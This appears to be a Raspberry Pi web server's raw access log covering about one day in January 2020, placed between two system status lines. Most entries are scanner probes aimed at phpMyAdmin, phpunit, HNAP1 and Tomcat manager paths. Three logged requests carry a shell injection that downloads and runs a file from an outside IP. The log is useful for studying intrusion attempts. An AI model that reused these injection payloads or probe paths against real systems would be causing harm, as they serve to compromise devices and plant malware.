Thu Jan 16 06:25:06 MST 2020 06:25:06 up 27 days, 21:16, 1 user, load average: 0.31, 0.24, 0.34 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 19Dec19 28days 31:52 4.08s /usr/bin/lxsession -s LXDE-pi -e LXDE 37.156.116.101 - - [16/Jan/2020:13:52:11 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 78.38.90.22 - - [16/Jan/2020:14:59:00 +0000] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 0 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.143.221.27 - - [16/Jan/2020:15:23:53 +0000] "GET / HTTP/1.1" 200 25000 "" "libwww-perl/6.43" 222.186.19.221 - - [16/Jan/2020:15:46:59 +0000] "UNKNOWN HTTP/1.1" 400 0 "" "" 120.25.104.10 - - [16/Jan/2020:15:57:16 +0000] "GET /TP/public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 119.39.46.39 - - [16/Jan/2020:16:08:08 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 221.213.75.76 - - [16/Jan/2020:16:08:08 +0000] "HEAD / HTTP/1.1" 200 0 "" "Mozilla/5.01682558 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/537.36(KHTML, like Gecko) Chrome/40.0.2214.89 Safari/537.36" 167.179.13.170 - - [16/Jan/2020:16:15:04 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 223.166.75.59 - - [16/Jan/2020:16:33:45 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36" 223.166.75.89 - - [16/Jan/2020:16:33:46 +0000] "GET /english/ HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36" 123.191.156.250 - - [16/Jan/2020:16:33:47 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36" 221.13.12.38 - - [16/Jan/2020:16:33:48 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36" 220.200.158.253 - - [16/Jan/2020:16:33:48 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36" 36.32.3.198 - - [16/Jan/2020:16:33:51 +0000] "UNKNOWN HTTP/1.1" 400 0 "" "" 182.138.158.40 - - [16/Jan/2020:16:33:51 +0000] "UNKNOWN HTTP/1.1" 400 0 "" "" 124.90.49.82 - - [16/Jan/2020:16:33:52 +0000] "UNKNOWN HTTP/1.1" 400 0 "" "" 58.212.14.51 - - [16/Jan/2020:16:33:56 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36" 139.162.106.181 - - [16/Jan/2020:17:39:53 +0000] "GET / HTTP/1.1" 200 25000 "" "HTTP Banner Detection (https://security.ipip.net)" 213.254.140.37 - - [16/Jan/2020:17:47:26 +0000] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 0 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 162.250.19.7 - - [16/Jan/2020:18:01:47 +0000] "GET /ac0xl/ HTTP/1.1" 200 25000 "" "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/72.0.3626.121 Chrome/72.0.3626.121 Safari/537.36" 162.250.19.7 - - [16/Jan/2020:18:01:48 +0000] "GET /favicon.ico HTTP/1.1" 304 0 "http://162.250.19.7/ac0xl/" "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/72.0.3626.121 Chrome/72.0.3626.121 Safari/537.36" 162.250.19.7 - - [16/Jan/2020:18:02:05 +0000] "GET /ac0xl/logs/ HTTP/1.1" 200 25000 "http://162.250.19.7/ac0xl/" "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/72.0.3626.121 Chrome/72.0.3626.121 Safari/537.36" 162.250.19.7 - - [16/Jan/2020:18:04:25 +0000] "GET /ac0xl/logs/2020.01.16 HTTP/1.1" 200 19122 "http://162.250.19.7/ac0xl/logs/" "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/72.0.3626.121 Chrome/72.0.3626.121 Safari/537.36" 159.203.201.39 - - [16/Jan/2020:18:21:47 +0000] "GET /manager/html HTTP/1.1" 404 0 "" "Mozilla/5.0 zgrab/0.x" 73.237.241.92 - - [16/Jan/2020:18:42:57 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 73.237.241.92 - - [16/Jan/2020:18:42:57 +0000] "GET / HTTP/1.1" 200 25000 "" "" 51.79.101.221 - - [16/Jan/2020:19:56:39 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 51.79.101.221 - - [16/Jan/2020:19:56:39 +0000] "HEAD /robots.txt HTTP/1.0" 200 0 "" "" 71.6.232.9 - - [16/Jan/2020:20:15:07 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36" 223.152.172.103 - - [16/Jan/2020:20:20:15 +0000] "POST /HNAP1/ HTTP/1.0" 404 0 "" "" 94.89.40.90 - - [16/Jan/2020:20:52:37 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 41.193.203.22 - - [16/Jan/2020:20:56:27 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 119.65.129.149 - - [16/Jan/2020:21:47:27 +0000] "GET / HTTP/1.1" 400 0 "" "" 95.80.215.170 - - [16/Jan/2020:21:54:20 +0000] "GET / HTTP/1.1" 400 0 "" "" 31.192.159.200 - - [16/Jan/2020:22:34:19 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 196.52.43.55 - - [17/Jan/2020:00:30:55 +0000] "GET / HTTP/1.0" 200 25000 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36" 162.250.19.7 - - [17/Jan/2020:01:25:13 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 162.250.19.7 - - [17/Jan/2020:01:25:34 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Android 6.0; Tablet; rv:68.0) Gecko/68.0 Firefox/68.0" 162.250.19.7 - - [17/Jan/2020:01:25:42 +0000] "GET /freedom/ HTTP/1.1" 200 25000 "http://162.250.19.7/" "Mozilla/5.0 (Android 6.0; Tablet; rv:68.0) Gecko/68.0 Firefox/68.0" 162.250.19.7 - - [17/Jan/2020:01:25:48 +0000] "GET /freedom/freedom.zip HTTP/1.1" 200 76173 "http://162.250.19.7/freedom/" "Mozilla/5.0 (Android 6.0; Tablet; rv:68.0) Gecko/68.0 Firefox/68.0" 162.250.19.7 - - [17/Jan/2020:01:26:50 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 35.223.84.133 - - [17/Jan/2020:02:08:41 +0000] "UNKNOWN HTTP/1.0" 501 0 "" "" 14.118.217.196 - - [17/Jan/2020:02:33:29 +0000] "GET / HTTP/1.1" 400 0 "" "" 5.101.0.209 - - [17/Jan/2020:02:48:28 +0000] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 68.194.230.145 - - [17/Jan/2020:03:08:04 +0000] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 0 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 91.186.197.98 - - [17/Jan/2020:03:49:21 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 142.93.160.46 - - [17/Jan/2020:04:38:55 +0000] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 0 "" "ZmEu" 142.93.160.46 - - [17/Jan/2020:04:38:55 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 142.93.160.46 - - [17/Jan/2020:04:38:55 +0000] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 142.93.160.46 - - [17/Jan/2020:04:38:56 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 142.93.160.46 - - [17/Jan/2020:04:38:56 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 142.93.160.46 - - [17/Jan/2020:04:38:56 +0000] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 41.211.112.196 - - [17/Jan/2020:06:43:37 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 60.191.66.222 - - [17/Jan/2020:07:11:06 +0000] "GET /manager/html HTTP/1.1" 404 0 "" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)" 92.190.142.73 - - [17/Jan/2020:07:52:40 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 45.143.220.138 - - [17/Jan/2020:08:20:57 +0000] "GET / HTTP/1.1" 200 25000 "" "libwww-perl/6.43" 168.195.183.34 - - [17/Jan/2020:09:52:30 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 187.232.216.133 - - [17/Jan/2020:09:55:45 +0000] "GET / HTTP/1.1" 400 0 "" "" 181.120.188.113 - - [17/Jan/2020:10:38:16 +0000] "GET / HTTP/1.1" 400 0 "" "" 202.159.165.204 - - [17/Jan/2020:11:19:24 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 202.166.206.229 - - [17/Jan/2020:12:37:27 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 60.48.33.220 - - [17/Jan/2020:13:17:01 +0000] "GET / HTTP/1.1" 400 0 "" "" Fri Jan 17 06:25:05 MST 2020 06:25:06 up 28 days, 21:16, 1 user, load average: 0.41, 0.27, 0.31 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 19Dec19 29days 37:43 4.60s /usr/bin/lxsession -s LXDE-pi -e LXDE